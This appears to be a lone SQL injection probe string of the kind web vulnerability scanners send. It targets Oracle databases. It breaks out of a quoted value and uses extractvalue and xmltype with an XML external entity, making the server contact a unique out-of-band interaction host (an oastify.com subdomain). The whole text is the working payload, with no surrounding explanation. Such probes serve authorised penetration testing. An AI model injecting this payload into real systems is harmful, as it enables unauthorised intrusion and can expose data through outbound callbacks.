OYtKyGH84Q'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % brbgh SYSTEM "http://fl4i4a68b1zpz2yne8wd8pu1jspsdj1npfc80x.oasti'||'fy.com/">%brbgh;]>'),'/l') from dual)||'